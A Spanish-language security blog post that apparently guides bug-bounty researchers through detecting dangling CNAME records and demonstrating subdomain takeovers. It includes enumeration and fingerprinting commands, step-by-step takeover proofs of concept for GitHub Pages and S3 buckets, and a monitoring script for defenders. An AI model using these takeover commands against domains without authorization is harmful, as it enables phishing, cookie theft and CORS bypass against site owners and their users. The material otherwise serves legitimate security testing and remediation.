← Volver al blog

Toma de control de subdominios: guía paso a paso de detección y prueba de concepto

Las tomas de control de subdominios son una de las vulnerabilidades de alta gravedad más reproducibles de forma fiable en los programas de recompensas por errores. Cuando un registro CNAME apunta a un servicio no reclamado, cualquier atacante puede registrar ese servicio y servir contenido malicioso bajo tu dominio de confianza, lo que le permite robar cookies, realizar ataques de phishing y eludir restricciones CORS.

---

Cómo funciona la toma de control de subdominios

Por qué tiene una gravedad alta

• Robo de cookies — Las cookies cuyo ámbito es .company.com se envían al contenido controlado por el atacante
• Elusión de CORS — Las API que confían en *.company.com confiarán en el subdominio del atacante
• Phishing — Un dominio legítimo de la empresa con contenido del atacante equivale a phishing de alta confianza
• Elusión de CSP — Si company.com incluye sus propios subdominios en la lista blanca de CSP
• Redirección OAuth — Si el subdominio está registrado como redirect_uri
• Entrega de correo electrónico — Si el subdominio se utiliza para enviar correos electrónicos (SPF/DMARC)

---

Fase 1: descubrimiento de activos

Enumeración de subdominios

# Enumeración pasiva
subfinder -d target.com -silent -all -o passive_subs.txt

# Fuerza bruta activa
amass enum -active -d target.com -o active_subs.txt

# Transparencia de certificados
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
  jq -r '.[].name_value' | sort -u | tee ct_subs.txt

# Combinar y eliminar duplicados
cat passive_subs.txt active_subs.txt ct_subs.txt | \
  sort -u > all_subs.txt

Comprobación de resolución DNS

# Comprobar qué subdominios se resuelven
cat all_subs.txt | dnsx -silent -resp | tee resolved_subs.txt

# Buscar CNAME
cat all_subs.txt | dnsx -silent -cname -resp | tee cnames.txt

# Ejemplo de salida:
# legacy.target.com -> company.azurewebsites.net
# api-old.target.com -> company.github.io
# status.target.com -> company.statuspage.io

---

Fase 2: identificación de CNAME colgantes

Verificación manual

# Comprobar si el destino del CNAME está sin reclamar
dig +short legacy.target.com
# Devuelve: company.azurewebsites.net

# Comprobar si ese nombre de host responde
curl -v -H "Host: company.azurewebsites.net" \
  https://company.azurewebsites.net 2>&1 | head -20

# Buscar «huellas de toma de control»:
# Azure: «404 Sitio web no encontrado»
# GitHub Pages: «No hay ningún sitio de GitHub Pages aquí»
# Heroku: «No existe esa aplicación»
# AWS S3: «NoSuchBucket»
# Fastly: «Error de Fastly: dominio desconocido»

Detección automatizada con Nuclei

# Nuclei incluye plantillas para tomas de control de subdominios
nuclei -l all_subs.txt -t takeovers/ -silent

# También se puede utilizar subjack
go install github.com/haccer/subjack@latest
subjack -w all_subs.txt -t 100 -timeout 30 \
  -ssl -c ~/go/src/github.com/haccer/subjack/fingerprints.json \
  -o takeover_results.txt

La referencia Can-I-Take-Over-XYZ

El repositorio can-i-take-over-xyz mantiene huellas digitales de más de 500 servicios. Servicios principales que se deben comprobar:

Servicio	Huella digital	¿Se puede tomar el control?
GitHub Pages	«No hay ningún sitio de GitHub Pages aquí»	✅ Sí
AWS S3	«NoSuchBucket»	✅ Sí (misma región)
Aplicaciones web de Azure	«404 Sitio web no encontrado»	✅ Sí
Heroku	«No existe esa aplicación»	✅ Sí
Shopify	«Lo sentimos, esta tienda no está disponible actualmente»	✅ Sí
Fastly	«Error de Fastly: dominio desconocido»	✅ Sí
Pantheon	«Error 404: sitio desconocido»	✅ Sí
Wordpress.com	«¿Quieres registrar...?»	✅ Sí
Zendesk	«Centro de ayuda cerrado»	✅ Sí
Surge.sh	«Proyecto no encontrado»	✅ Sí

---

Fase 3: prueba de concepto (segura)

PoC de toma de control de GitHub Pages

# Paso 1: confirmar el CNAME colgante
dig +short blog-old.target.com
# Devuelve: targetcompany.github.io

# Paso 2: comprobar la huella digital
curl -s https://blog-old.target.com | grep -i "github"
# Devuelve: «No hay ningún sitio de GitHub Pages aquí»

# Paso 3: crear el repositorio de la PoC
# Crear el repositorio de GitHub: targetcompany.github.io (si está disponible) o
# Crear una página de GitHub Pages con un dominio personalizado que coincida con el destino del CNAME

# Paso 4: añadir el archivo CNAME al repositorio
echo "blog-old.target.com" > CNAME

# Paso 5: añadir una página de PoC responsable
cat > index.html << 'EOF'
<!-- INVESTIGACIÓN DE SEGURIDAD - PoC DE TOMA DE CONTROL DE SUBDOMINIO -->
<!-- Esta página está alojada por un investigador de seguridad -->
<!-- para demostrar una vulnerabilidad de toma de control de subdominio -->
<!-- No se está realizando ninguna acción maliciosa -->
<h1>Toma de control de subdominio - PoC de investigación de seguridad</h1>
<p>Este subdominio (blog-old.target.com) es vulnerable a una toma de control.</p>
<p>Investigador: [tu alias]</p>
<p>Notificado: [fecha]</p>
EOF

PoC de toma de control de un bucket de AWS S3

# Confirmar el CNAME colgante
dig +short assets-legacy.target.com
# Devuelve: target-legacy-assets.s3.amazonaws.com

# Comprobar la respuesta
curl -v https://assets-legacy.target.com 2>&1 | grep -i "NoSuchBucket"
# «El bucket especificado no existe» -> ¡Vulnerable!

# Extraer la región de las cabeceras de respuesta o probar:
# us-east-1 es la región predeterminada si no hay una cabecera de región

# Crear el bucket de la PoC (CON EL MISMO NOMBRE que el destino del CNAME)
aws s3 mb s3://target-legacy-assets --region us-east-1

# Habilitar el alojamiento estático
aws s3 website s3://target-legacy-assets \
  --index-document index.html

# Subir una PoC responsable
echo "<h1>PoC de toma de control de subdominio - Investigación de seguridad</h1>" | \
  aws s3 cp - s3://target-legacy-assets/index.html \
  --content-type text/html --acl public-read

Documentación del impacto

# Demostrar el acceso a cookies (SOLO con una cuenta de prueba que TÚ controles)
# Crear una cuenta de prueba, establecer cookies y visitar tu página de PoC
# Captura de pantalla que muestre el contenido de document.cookie
# Esto demuestra el alcance del robo de cookies

# Documentar con capturas de pantalla:
# 1. Consulta DNS que muestre el CNAME colgante
# 2. Respuesta de la huella digital (NoSuchBucket, etc.)
# 3. Tu página de PoC alojada en el subdominio
# 4. El navegador mostrando el dominio legítimo y tu contenido
# 5. (Opcional) Acceso a cookies de prueba desde tu propia cuenta de prueba

---

Fase 4: soluciones permanentes

Corrección inmediata

1. Eliminar el CNAME colgante — Elimina el registro DNS que apunta al servicio no reclamado
2. O recuperar el servicio — Vuelve a registrar el nombre de host de destino en el proveedor del servicio
3. Auditar todos los demás subdominios en busca de registros colgantes similares

Prevención a largo plazo

# Automatizar la supervisión continua de subdominios
# Comprobar semanalmente si todos los CNAME están colgantes

#!/bin/bash
# monitor_dangling_cnames.sh
while IFS= read -r subdomain; do
  cname=$(dig +short CNAME "$subdomain" | head -1)
  if [ -n "$cname" ]; then
    # Resolver el destino del CNAME
    ip=$(dig +short "$cname" | tail -1)
    if [ -z "$ip" ]; then
      echo "CNAME COLGANTE: $subdomain -> $cname"
      # Enviar alerta
    fi
  fi
done < subdomains.txt

---

Tomas de control de registros A y NS

Tomas de control de registros A (IP elásticas)

# Comprobar si el registro A apunta a una IP de nube no asignada
dig +short api-legacy.target.com
# Devuelve: 52.xxx.xxx.xxx

# Comprobar si la IP pertenece a AWS
curl https://ip-ranges.amazonaws.com/ip-ranges.json | \
  python3 -c "import json,sys; \
  [print(p['prefix'], p['region'], p['service']) \
  for p in json.load(sys.stdin)['prefixes'] \
  if '52.xxx.xxx' in p.get('ip_prefix','')]"

# Si es una IP de AWS, intentar reclamarla iniciando una instancia EC2 con esa IP
# (Hacerlo únicamente con permiso explícito)

Toma de control de NS (la más crítica)

---

Preguntas frecuentes

¿La toma de control de un subdominio siempre es una vulnerabilidad crítica?

La gravedad depende de la función y del nivel de confianza del subdominio. Un subdominio de marketing sin cookies dentro de su ámbito podría tener una gravedad media. Un subdominio registrado como URI de redirección OAuth, considerado de confianza por las políticas CORS o que reciba cookies cuyo ámbito sea el dominio raíz es crítico. Evalúa siempre las rutas de ataque reales disponibles para un atacante que controle el subdominio.

¿Puedo tomar el control del subdominio durante la investigación sin permiso?

Esto depende por completo de las reglas del programa de recompensas por errores. Muchos programas permiten tomas de control como PoC mediante una página de divulgación responsable. Algunos las prohíben explícitamente. En caso de duda, aporta las pruebas DNS (CNAME colgante + respuesta de la huella digital) sin tomar el control. Incluye una captura de pantalla de lo que podrías hacer si registraras el servicio.

¿De cuánto tiempo disponen los programas para corregirlo?

Las tomas de control de subdominios deben tratarse como críticas: la corrección es sencilla (eliminar el registro DNS) y el riesgo de explotación por parte de un atacante real es alto. La mayoría de los programas espera que las tomas de control activas de subdominios se corrijan el mismo día o al día siguiente.